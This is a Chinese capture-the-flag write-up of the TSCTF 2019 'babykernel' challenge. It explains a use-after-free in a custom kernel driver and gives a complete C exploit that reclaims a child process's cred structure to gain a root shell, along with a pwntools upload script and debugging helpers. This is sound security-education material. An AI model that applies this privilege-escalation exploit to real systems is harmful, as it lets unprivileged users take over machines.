TSCTF 2019 writeup -- babykernel
- 题目下载地址:下载
借着p4nda到沙河的pwn讲座(PWN选手的自我修养,从0x400000到0xFFFFFFFF81000000)算是入门了一点linux kernel pwn,正好TSCTF又出了一道kernel pwn,所以就试着做(学)了一下我的第一道kernel pwn
准备工作
先看一下系统的启动脚本
#!/bin/sh
qemu-system-x86_64 \
-nographic \
-kernel bzImage \
-append "rdinit=/linuxrc console=ttyS0 oops=panic panic=1" \
-m 128M \
-cpu qemu64,smap,smep \
-initrd rootfs.img \
#-gdb tcp::4869 -S \
-smp cores=1,threads=1 2>/dev/null
磁盘的初始配置文件
mkdir -p /proc
mkdir -p /tmp
mkdir -p /sys
mkdir -p /mnt
/bin/mount -a
mkdir -p /dev/pts
mount -t devpts devpts /dev/pts
echo /sbin/mdev > /proc/sys/kernel/hotplug
mdev -s
insmod /poc/tshop.ko
sleep 1
chmod 666 /dev/tshop
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict
cd /tmp
setsid /bin/cttyhack setuidgid 1000 /bin/sh
poweroff -d 0 -f
可以看到开启了kptr_restrict,dmesg_restrict,smep,smap
保护,磁盘启动的时候加载了一个叫tshop的驱动,漏洞应该就在这个驱动里面
漏洞原理
直接IDA打开驱动文件,驱动注册了三个函数ioctl, init, exit
init函数中创建了一个slab专用缓存zegeorjige
exit里面就是正常回收资源,这里就不说了,主要交互逻辑在ioctl中。
函数通过传进来的第二个参数作为控制参数,来实现alloc,free,内存填充等操作。第三个参数是用来控制bss上BUY_LIST列表的索引。
signed __int64 __fastcall tshop_ioctl(__int64 a1, unsigned int choice, unsigned int index)
{
__int64 v3; // rbx
_QWORD *v4; // rax
char *v5; // rdi
__int64 v6; // rax
char v7; // si
__int64 v8; // rdx
const char *v9; // rdi
_QWORD *v11; // rax
_QWORD *ptr; // rax
v3 = (signed int)index;
if ( choice == 0x22B8 )
{
if ( index <= 0xFF && (ptr = (_QWORD *)BUY_LIST[index]) != 0LL )
{
v9 = "<1>[*] This Zege is yours!";
*ptr = 0x123456789ABCDEF0LL;
}
else
{
v9 = "<1>[*] Zege would not like you!";
}
goto LABEL_16;
}
if ( choice > 0x22B8 )
{
if ( choice == 0x271A )
{
if ( index <= 0xFF )
{
v4 = (_QWORD *)kmem_cache_alloc(zegeorjige, 0xD0LL);
BUY_LIST[v3] = (__int64)v4;
*v4 = 0LL;
v5 = zegeandjigedesc;
*(_QWORD *)(BUY_LIST[v3] + 8) = 0LL;
*(_QWORD *)(BUY_LIST[v3] + 0x10) = 0x40LL;
*(_QWORD *)(BUY_LIST[v3] + 0x18) = 0x29AALL;
v6 = 0LL;
do
{
v7 = v5[v6];
v8 = (signed int)v6++;
*(_BYTE *)(BUY_LIST[v3] + v8 + 0x20) = v7;
}
while ( v6 != 0x21 );
v9 = "<1>[*] Money fly\n";
*(_BYTE *)(BUY_LIST[v3] + 0x41) = 0;
goto LABEL_16;
}
}
else
{
if ( choice != 0x2766 )
return -1LL;
if ( index <= 0xFF && BUY_LIST[index] )
{
kfree();
v9 = "<1>[*] Say goodbye to flag\n";
goto LABEL_16;
}
}
v9 = "<1>[*] Zege and Jige would not like you!";
LABEL_16:
printk(v9);
漏洞在释放堆块的逻辑里面,没有把指针置零,这样我们就能得到一个悬挂指针。
{
if ( choice != 0x2766 )
return -1LL;
if ( index <= 0xFF && BUY_LIST[index] )
{
kfree();
v9 = "<1>[*] Say goodbye to flag\n";
goto LABEL_16;
}
}
接下来我们可以通过在prepare_creds函数上下断点来得到cred结构体的大小来进行进一步的利用。
漏洞利用
调试的时候可以把保护都关掉,用root权限来调试
/tmp $ cat /proc/kallsyms | grep "prepare_cred"
ffffffff810565fb T prepare_creds
ffffffff8119673a T security_prepare_creds
[ 26.814012] cat used greatest stack depth: 5624 bytes left
/tmp $ cat /proc/kallsyms | grep "ffffffff810d3251"
ffffffff810d3251 T kmem_cache_alloc
[ 16.954066] cat used greatest stack depth: 5624 bytes left
可以看到prepare_cred
函数实际调用了kmem_cache_alloc
来申请cred
的空间,大小通过$rsi
传参,为0xd0。
惊奇的发现,居然和我们ioctl操作中kmem_cache_alloc
申请的大小一致
而这个题并没有提供与用户进行数据交互的功能,只能在内存中填充指定的数据。因此我们可以考虑使用UAF使cred复用我们进程中的堆块。
*(_QWORD *)(BUY_LIST[v3] + 8) = 0LL;
*(_QWORD *)(BUY_LIST[v3] + 0x10) = 0x40LL;
*(_QWORD *)(BUY_LIST[v3] + 0x18) = 0x29AALL;
从上面的伪代码中可以看到,如果我们可以再次申请到存储cred的堆块时,函数会自动初始化堆块的数据,正好这时前0x10字节为0,覆盖到了cred结构体中uid
和gid
的部分。
这是cred结构体的定义(题目的环境是2.6.39.4版本的内核)
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
uid_t uid; /* real UID of the task */
gid_t gid; /* real GID of the task */
uid_t suid; /* saved UID of the task */
gid_t sgid; /* saved GID of the task */
uid_t euid; /* effective UID of the task */
gid_t egid; /* effective GID of the task */
uid_t fsuid; /* UID for VFS ops */
gid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
struct thread_group_cred *tgcred; /* thread-group shared credentials */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* cached user->user_ns */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};
因此,目的已经很明显了,也不需要泄露地址,直接修改cred就能拿到root权限
我的exp:
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define DEL 0x2766
#define SET_ZEGE 0x22B8 // 0x123456789ABCDEF0LL
#define ALLOC 0x271A
#define SET_JIGE 0x1A0A // 0xFEDCBA987654321LL
int main() {
int fd = open("/dev/tshop", 0);
size_t heap_addr , kernel_addr,mod_addr;
if (fd < 0) {
printf("[-] bad open /dev/tshop\n");
exit(-1);
}
ioctl(fd, ALLOC, 0);
ioctl(fd, ALLOC, 1);
ioctl(fd, DEL, 0);
ioctl(fd, DEL, 1);
int pid=fork();
ioctl(fd, DEL, 1);
ioctl(fd, ALLOC, 3);
//getchar();
//getchar();
if (pid < 0) {
puts("[-] fork error!");
exit(0);
} else if (pid == 0) {
if (getuid() == 0) {
puts("[+] root");
system("cat /home/sunichi/flag");
system("id");
system("/bin/sh")
exit(0);
}
} else {
sleep(30);
puts("[+] parent exit");
}
}
//TSCTF{S0_4a5y_k4rNel_pWn_6ut_JiGe_AND_Zege_g1Ve_Y0u_fl4g}
具体思路:
- alloc并free掉两块内存,使他们接入
slab cache
链表的尾部,这里暂且给它编号为chunk0
和chunk1
- 由于采用FIFO算法,此时slab缓存的单向链表最尾端的chunk为
chunk1
,而且第一个8字节存储的是指向chunk0
的指针,当ALLOC新cache时,将优先取出chunk1
分配给进程。 fork一个子进程,这个子进程的cred结构体会复用此前我们free掉的内存块(
chunk1
)- 堆块中的cred:
- 我们的目标是将cred的id位置零,首先就需要再次拿到cred所在堆块(
chunk1
) - free并立即进行alloc操作,chunk1就会挂到cache链上后再次被申请回来。
由于ALLOC操作伴随着所在堆块数据的初始化,于是我们不用再有多余的操作便能将cred结构体uid及gid位置零。此时子进程就已成功提权(root)
- 提权后的子进程cred:
实际上这个题还可以使用double free的做法,只是相比之下double free需要在拿到cred堆块之后释放n个提前申请好的chunk以填充slab的链表,以防止执行系统调用时alloc到cred的chunk,这样就会造成alloc地址非法的panic(因为在进行system函数等系统调用过程时内核同样会ALLOC多个大小为0xd0的堆块,而cred前8字节不是有效地址),而且增加缓存数量只是一个不完美的解决办法,多次执行系统调用还是会panic。
后记
因为是第一次做kernel的题目,exp编译好之后也不知道怎么传到qemu的服务器上(也许只有我这么菜吧。。
最后在其它师傅写过的wp里面找到一个上传的脚本
#!/usr/bin/python
from pwn import *
HOST = "10.112.100.47"
PORT = 1717
USER = "pwn"
PW = "pwn"
def compile():
log.info("Compile")
os.system("musl-gcc -w -s -static -o3 tshop.c -o pwn")
def exec_cmd(cmd):
r.sendline(cmd)
r.recvuntil("$ ")
def upload():
p = log.progress("Upload")
with open("pwn", "rb") as f:
data = f.read()
encoded = base64.b64encode(data)
r.recvuntil("$ ")
for i in range(0, len(encoded), 300):
p.status("%d / %d" % (i, len(encoded)))
exec_cmd("echo \"%s\" >> benc" % (encoded[i:i+300]))
exec_cmd("cat benc | base64 -d > bout")
exec_cmd("chmod +x bout")
p.success()
def exploit(r):
compile()
upload()
r.interactive()
return
if __name__ == "__main__":
if len(sys.argv) > 1:
session = ssh(USER, HOST, PORT, PW)
r = session.run("/bin/sh")
exploit(r)
else:
r = process("./startvm.sh")
print util.proc.pidof(r)
pause()
exploit(r)
作为一个刚入kernel坑的菜鸡,我把用到的其它脚本和命令放在下面,希望会对和我一样的人有所帮助吧
gdb调试
# kernel_gdb.sh
gdb \
-ex "add-auto-load-safe-path $(pwd)" \
-ex "file vmlinux" \
-ex "set arch i386:x86-64:intel" \
-ex "target remote localhost:4869" \
-ex "continue" \
-ex "disconnect" \
-ex "set arch i386:x86-64" \
-ex "target remote localhost:4869"
exp编译及磁盘文件打包
# fs.sh
musl-gcc -w -s -static -o3 tshop.c -o /home/pwn
find . | cpio -o --format=newc > ../rootfs.img
版权属于:T3LS
本文链接:https://t3ls.club/index.php/archives/tsctf2019_babykernel.html
本作品采用 CC BY-NC-SA 4.0 许可协议 进行许可,请在转载时注明出处及本声明!